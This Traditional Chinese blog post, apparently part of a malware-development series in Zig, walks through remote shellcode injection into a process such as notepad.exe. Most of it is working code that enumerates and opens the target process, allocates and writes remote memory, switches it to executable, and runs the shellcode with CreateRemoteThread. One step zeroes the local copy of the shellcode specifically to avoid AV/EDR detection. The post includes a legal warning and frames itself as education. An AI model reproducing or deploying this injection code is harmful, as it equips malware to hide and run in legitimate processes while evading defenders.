Ayo 各位早安。昨天已經介紹了 Process Injection 中的 DLL Injection 了,今天會來介紹另一個 Process Injection 的技術:Shellcode Injection。
那就開始囉!
完整程式碼可於此處找到:https://black-hat-zig.cx330.tw/Advanced-Malware-Techniques/Process-Injection/Shellcode-Injection/shellcode_injection/
中華民國刑法第 362 條:「製作專供犯本章之罪之電腦程式,而供自己或他人犯本章之罪,致生損害於公眾或他人者,處五年以下有期徒刑、拘役或科或併科六十萬元以下罰金。」
本系列文章涉及多種惡意程式的技術,旨在提升個人技術能力與資安意識。本人在此強烈呼籲讀者,切勿使用所學到的知識與技術從事任何違法行為!
本系列文章中使用的 Zig 版本號為 0.14.1。
在我們昨天的內容當中,有提及過如果要執行 Process injection,勢必需要先枚舉當前運行中的進程。不過今天會實作的方式和昨天是一樣的(之後幾天會來講一些其他的進程枚舉方式),故在此先跳過詳細解釋,我們就直接複習一下程式碼。
fn getRemoteProcessHandle(allocator: std.mem.Allocator, process_name: []const u8) !struct { pid: DWORD, handle: HANDLE } {
const wide_process_name = try convertToWideString(allocator, process_name);
defer allocator.free(wide_process_name);
print("[i] Searching For Process Id Of \"{s}\" ... ", .{process_name});
const snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (snapshot == INVALID_HANDLE_VALUE) {
print("[!] CreateToolhelp32Snapshot Failed With Error : {d} \n", .{GetLastError()});
return error.SnapshotFailed;
}
defer _ = CloseHandle(snapshot);
var process_entry = PROCESSENTRY32W{
.dwSize = @sizeOf(PROCESSENTRY32W),
.cntUsage = 0,
.th32ProcessID = 0,
.th32DefaultHeapID = 0,
.th32ModuleID = 0,
.cntThreads = 0,
.th32ParentProcessID = 0,
.pcPriClassBase = 0,
.dwFlags = 0,
.szExeFile = std.mem.zeroes([260]u16),
};
if (Process32FirstW(snapshot, &process_entry) == 0) {
print("[!] Process32FirstW Failed With Error : {d} \n", .{GetLastError()});
return error.ProcessEnumFailed;
}
while (true) {
var exe_name_len: usize = 0;
while (exe_name_len < process_entry.szExeFile.len and process_entry.szExeFile[exe_name_len] != 0) {
exe_name_len += 1;
}
const exe_name = process_entry.szExeFile[0..exe_name_len];
if (compareWideStringsIgnoreCase(exe_name, wide_process_name)) {
print("[+] DONE \n", .{});
print("[i] Found Target Process Pid: {d} \n", .{process_entry.th32ProcessID});
const handle = OpenProcess(PROCESS_ALL_ACCESS, 0, process_entry.th32ProcessID) orelse {
print("[!] OpenProcess Failed With Error : {d} \n", .{GetLastError()});
return error.OpenProcessFailed;
};
return .{ .pid = process_entry.th32ProcessID, .handle = handle };
}
if (Process32NextW(snapshot, &process_entry) == 0) {
break;
}
}
print("[!] Process is Not Found \n", .{});
return error.ProcessNotFound;
}
一開始,我們需要先使用 CreateToolhelp32Snapshot
去建立當前所有進程的快照。接著會初始化一個 PROCESSENTRY32W
結構,用來存放每個進程的資訊,包括 PID、Parent process(不喜歡講父進程)等等。下一步,我們要去取得第一個進程的句柄,會使用 Process32FirstW
,然後比較它是否是我們需要的目標進程,如果不是,則使用 Process32NextW
去找到下一個進程;如果是,則回傳它的 PID 和句柄。
我們一開始一樣是要使用 VirtualAllocEx
來在遠端分配記憶體,分配的大小我們會使用 shellcode.len
來取得它的大小。若成功分配,則會回傳遠端分配的記憶體的基址。
下一步,要寫入記憶體。我們會使用 WriteProcessMemory
來寫入 Shellcode 到遠端的記憶體。我們昨天示範了 Zig 包裝過後的 std.os.windows.WriteProcessMemory
,今天來示範一下原生的 WriteProcessMemory
好了。使用的方式就是用之前講過的 extern
關鍵字。
extern "kernel32" fn WriteProcessMemory(HANDLE, LPVOID, ?*const anyopaque, SIZE_T, ?*SIZE_T) callconv(.C) BOOL;
原生的函數需要傳入五個參數,比昨天的多出一個要寫入的長度和一個 Out 參數來回傳實際寫入的長度。
const write_result = WriteProcessMemory(
process_handle,
shellcode_address,
shellcode.ptr,
shellcode.len,
&bytes_written,
);
寫完之後,我們會把本地記憶體中的 Shellcode 給清除掉,以減少被 AV/EDR 偵測到的機率。
zig@memset(@constCast(shellcode.ptr)[0..shellcode.len], 0);
完成後,我們為了要執行遠端的記憶體中的 Shellcode,我們需要把記憶體的保護改成可執行的,我們會使用 VirtualProtectEx
來做到這件事。
if (VirtualProtectEx(process_handle, shellcode_address, shellcode.len, PAGE_EXECUTE_READWRITE, &old_protection) == 0) {
print("[!] VirtualProtectEx Failed With Error : {d} \n", .{GetLastError()});
return error.VirtualProtectExFailed;
}
最後,就可以使用 CreateRemoteThread
來在遠端建立進程並執行 Shellcode 了。然後由於第 4 個參數在微軟的定義中是要傳入一個函數指標,所以我們要使用 @ptrCast
把 Shellcode 的地址轉爲一個指標的型別。
const thread_handle = CreateRemoteThread(
process_handle,
null,
0,
@ptrCast(shellcode_address),
null,
0,
null,
) orelse {
print("[!] CreateRemoteThread Failed With Error : {d} \n", .{GetLastError()});
return error.CreateRemoteThreadFailed;
};
對了,最後還是記得要使用 WaitForSingleObject
來等待遠端進程的 Shellcode 執行完畢。
windows.WaitForSingleObject(thread_handle, windows.INFINITE) catch {
print("[!] WaitForSingleObject failed: {}\n", .{GetLastError()});
};
因為我們把記憶體寫在遠端進程的記憶體中,所以執行完要盡早把它釋放掉。我們會使用到 VirtualFreeEx
這個 Windows API。注意的是我們應該要等到 Payload 執行完之後才可以呼叫它,不然如果 Shellcode 執行到一半記憶體被釋放可能會導致 Crash。我們來看一下微軟的這個 API 定義。
BOOL VirtualFreeEx(
[in] HANDLE hProcess,
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD dwFreeType
);
VirtualFreeEx
和我們之前介紹過的 VirtualFree
很類似,唯一的差別在 VirtualFreeEx
需要一個額外的參數來接收遠端進程的句柄。
if (VirtualFreeEx(process_handle, shellcode_address, 0, MEM_RELEASE) == 0) {
print("[!] VirtualFreeEx Failed With Error : {d}\n", .{GetLastError()});
} else {
print("[i] Remote memory freed.\n", .{});
}
在這邊範例中,我們會把 Shellcode 注入到 notepad.exe
之中,所以我們先把 x64dbg 給附加到 Notepad 的進程之中。接著我們執行我們的程式,並提供 notepad.exe
作為參數,我們可以透過 PID 來確認。
執行下一步後,程式會把 Shellcode 給解密或解混淆出來,並來分配記憶體。要注意的是,我們的解密和解混淆是在本地的進程中執行的,所以在 x64dbg 中不能存取他,因為我們現在 Attach 的是遠端進程。不過我們分配的記憶體是在遠端,所以可以來看一下裡面的樣子。
下一步,我們會把記憶體寫入在已經分配的遠端進程中。
最後,我們來執行它。
值得注意的是,執行完後我們會把記憶體給 Free 掉。
好啦!今天就到這邊。天啊最近超級爆炸忙的,事情有夠多,跟自己說一下加油 XD。
明天應該會來講一些其他的進程枚舉的方式,但還在想要用什麼很炫酷的標題(我的標題都要想超級久笑死)。
如果對惡意程式開發或是惡意程式分析有興趣的話,這個系列會很適合你!最後也感謝大家的閱讀,歡迎順手按讚留言訂閱轉發(轉發可以讓朋友們知道你都在讀這種很技術的文章,他們會覺得你好帥好強好電,然後開始裝弱互相吹捧)~明天見!